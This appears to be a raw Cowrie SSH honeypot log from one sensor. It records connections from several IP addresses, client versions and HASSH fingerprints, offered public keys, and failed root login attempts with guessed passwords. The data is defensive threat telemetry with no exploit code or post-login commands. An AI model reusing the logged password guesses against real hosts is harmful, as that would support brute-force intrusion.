{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:d1:d0:f4:d6:e2:10:df:79:6c:41:31:24:18:1f:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC+UUs8RL2VgLKZ7h/iGScKwLPEljPV33J5+5HTjx6czs+LE457MvFrwRocL9tXoPdlKutCa3rK4qSzYoRMkBdrp3FjigZFUs56JTT0XncyrXWwGZ9EbhBkNZzxbpQQu5XwcZfufzPToQbl/r6J2MZ6TStS4PbpxO4SsC2PhzDXUFmADJUZbhTRm8kzWHzH7TOHbnoTVLIvNRHjxz5MWfJX5bzvUXutBZuHMrEVriGBJMxF8H4dCztiyNRCnXZyOO/lo88TzsY/vrNRQo7Eml6LbxmEhu4iRN11xj/qA9rBm8JcxRfPzNoYhmkkWKmJdqhDfNrrMOCjR916O2ZR+bB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:d1:d0:f4:d6:e2:10:df:79:6c:41:31:24:18:1f:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.791153Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:d1:d0:f4:d6:e2:10:df:79:6c:41:31:24:18:1f:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC+UUs8RL2VgLKZ7h/iGScKwLPEljPV33J5+5HTjx6czs+LE457MvFrwRocL9tXoPdlKutCa3rK4qSzYoRMkBdrp3FjigZFUs56JTT0XncyrXWwGZ9EbhBkNZzxbpQQu5XwcZfufzPToQbl/r6J2MZ6TStS4PbpxO4SsC2PhzDXUFmADJUZbhTRm8kzWHzH7TOHbnoTVLIvNRHjxz5MWfJX5bzvUXutBZuHMrEVriGBJMxF8H4dCztiyNRCnXZyOO/lo88TzsY/vrNRQo7Eml6LbxmEhu4iRN11xj/qA9rBm8JcxRfPzNoYhmkkWKmJdqhDfNrrMOCjR916O2ZR+bB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.796538Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.936507Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":35744,"dst_ip":"10.17.0.5","dst_port":22,"session":"d73956c94b2e","protocol":"ssh","message":"New connection: 103.189.234.9:35744 (10.17.0.5:22) [session: d73956c94b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.646493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.652941Z","src_ip":"103.189.234.9","session":"d73956c94b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55384,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee5cb1ebb09a","protocol":"ssh","message":"New connection: 37.233.85.71:55384 (159.203.135.109:22) [session: ee5cb1ebb09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.863869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.868501Z","src_ip":"37.233.85.71","session":"ee5cb1ebb09a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.889863Z","src_ip":"103.189.234.9","session":"d73956c94b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:10.972857Z","src_ip":"37.233.85.71","session":"ee5cb1ebb09a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"h1992iding","message":"login attempt [root/h1992iding] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:11.260939Z","src_ip":"37.233.85.71","session":"ee5cb1ebb09a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:11.868091Z","src_ip":"103.189.234.9","session":"d73956c94b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:12.359428Z","src_ip":"37.233.85.71","session":"ee5cb1ebb09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:13.108883Z","src_ip":"103.189.234.9","session":"d73956c94b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41552,"dst_ip":"159.203.135.109","dst_port":22,"session":"66edded804bf","protocol":"ssh","message":"New connection: 103.149.170.125:41552 (159.203.135.109:22) [session: 66edded804bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:38.894041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:38.898875Z","src_ip":"103.149.170.125","session":"66edded804bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:39.168139Z","src_ip":"103.149.170.125","session":"66edded804bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz21074","message":"login attempt [root/vaz21074] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:39.960433Z","src_ip":"103.149.170.125","session":"66edded804bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:41.225928Z","src_ip":"103.149.170.125","session":"66edded804bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42426,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf7872fb004f","protocol":"ssh","message":"New connection: 103.153.68.219:42426 (10.17.0.5:22) [session: cf7872fb004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:06.087881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:06.097462Z","src_ip":"103.153.68.219","session":"cf7872fb004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:06.348621Z","src_ip":"103.153.68.219","session":"cf7872fb004f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1995","message":"login attempt [root/artem1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:07.099791Z","src_ip":"103.153.68.219","session":"cf7872fb004f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:08.352299Z","src_ip":"103.153.68.219","session":"cf7872fb004f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35906,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e227cdde49c","protocol":"ssh","message":"New connection: 103.77.175.15:35906 (159.203.135.109:22) [session: 4e227cdde49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:11.882802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:11.887884Z","src_ip":"103.77.175.15","session":"4e227cdde49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:12.146695Z","src_ip":"103.77.175.15","session":"4e227cdde49c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345x","message":"login attempt [root/12345x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:12.936222Z","src_ip":"103.77.175.15","session":"4e227cdde49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:14.196430Z","src_ip":"103.77.175.15","session":"4e227cdde49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":51686,"dst_ip":"10.17.0.5","dst_port":22,"session":"91b6b943ccf4","protocol":"ssh","message":"New connection: 103.176.90.41:51686 (10.17.0.5:22) [session: 91b6b943ccf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.244373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.254639Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.340998Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:79:66:52:0d:28:75:fc:bf:7d:d6:85:da:bf:a8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwenFUqSAjrwbh36RBeXW5CV2CbaRv+G2GFxZdTdxO+QW/GiQY81xNaV2l93VaD8hy4f+C5wQBlA/4n/oTV3xm3pZUh7tD3uqE7TSJ7k8JFTNNEl1ZWa96DUD9koq9gucQakpraly/ATpmLhOfEE6RyWLVYYoLiNoCPNDF19Xroxp7iOSRVLIU3C9GxB3SzmF7R+qD1IdxiWbzmQYYPmvbKUmQMbOJUiBCQkTcfvKImwObYeWGklnqSvtj+f0iUozUsCizjsBkPFOlcKUUQpnL4sSZ4ORJvPGwShv2z4wT2iTk/+wTEhZwMydJ2Q8tYoQydPwW4eIQ0nFbJb2Zsueaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:79:66:52:0d:28:75:fc:bf:7d:d6:85:da:bf:a8:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.750286Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:79:66:52:0d:28:75:fc:bf:7d:d6:85:da:bf:a8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwenFUqSAjrwbh36RBeXW5CV2CbaRv+G2GFxZdTdxO+QW/GiQY81xNaV2l93VaD8hy4f+C5wQBlA/4n/oTV3xm3pZUh7tD3uqE7TSJ7k8JFTNNEl1ZWa96DUD9koq9gucQakpraly/ATpmLhOfEE6RyWLVYYoLiNoCPNDF19Xroxp7iOSRVLIU3C9GxB3SzmF7R+qD1IdxiWbzmQYYPmvbKUmQMbOJUiBCQkTcfvKImwObYeWGklnqSvtj+f0iUozUsCizjsBkPFOlcKUUQpnL4sSZ4ORJvPGwShv2z4wT2iTk/+wTEhZwMydJ2Q8tYoQydPwW4eIQ0nFbJb2Zsueaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.754151Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:69:b5:86:a7:57:04:79:73:2a:20:44:b7:d3:63:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2oSg2RZjys9cAoOCTSEtnJRHWSpu+mBUP0fCr3jPtUP2xN0ambEB93Gh0CSlmjn8TuXCqZXp9p7ydgp3rVUlA6dxvE0x8LY45/CuvEIdley/ntrIlTMJ/QN+KAyV94wS9NnGRHdCWPFr4ulzHO3ZY0UzoWSZsFfaMJDPC77enPHCkfaQ1uyT7C3rpiexNY7Li4Oj5DXqJSgmKf4pI3OzXbNmzJ2QBpx67Ianb+UyIxei6hEiUlpFvfa1BRPrLXYdsKnaEaItmTV+VatO8drcKDA2wlWUKB8vvUe6D+Ovab48Kn9P2PqdFdVFKiNQF0bKKDA7QloUswC0AqpdGsJuj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:69:b5:86:a7:57:04:79:73:2a:20:44:b7:d3:63:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.840575Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:69:b5:86:a7:57:04:79:73:2a:20:44:b7:d3:63:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2oSg2RZjys9cAoOCTSEtnJRHWSpu+mBUP0fCr3jPtUP2xN0ambEB93Gh0CSlmjn8TuXCqZXp9p7ydgp3rVUlA6dxvE0x8LY45/CuvEIdley/ntrIlTMJ/QN+KAyV94wS9NnGRHdCWPFr4ulzHO3ZY0UzoWSZsFfaMJDPC77enPHCkfaQ1uyT7C3rpiexNY7Li4Oj5DXqJSgmKf4pI3OzXbNmzJ2QBpx67Ianb+UyIxei6hEiUlpFvfa1BRPrLXYdsKnaEaItmTV+VatO8drcKDA2wlWUKB8vvUe6D+Ovab48Kn9P2PqdFdVFKiNQF0bKKDA7QloUswC0AqpdGsJuj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.844459Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:6e:e6:16:8e:37:c6:33:ee:27:5d:5e:2b:10:75:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb+Tkx51MaKzyHzi41uHhbYuCpJ8yanQnu0BB+ZMxXG4ifw/rtN6W6zp7+oaFWTN3a/3IJaZl3KK3YpfTGX2Ff3gmJVHmTT5WiwUk+I1TGW48wuy9VPj635bHmFfbZV00x6NbkXESppvG65gnMZ75xEzPO3exmR+IBhwQX5evsWTYBCp/D2YFvc5qIqjAoAxkkR4nZ/fymNI+kRS6+SiEtAiOK1YSRyM9vxHbMWzvS0sBk+Um8XiaxXScgLc0/JviGwtf5/srVS//MagGb/mcTwrOdQJ86nCidnz/6Y13NXWNfdSK0wcH26PBd+/dLpWEaZ7zZel8DNE14VK/zD+E1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:6e:e6:16:8e:37:c6:33:ee:27:5d:5e:2b:10:75:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.930510Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
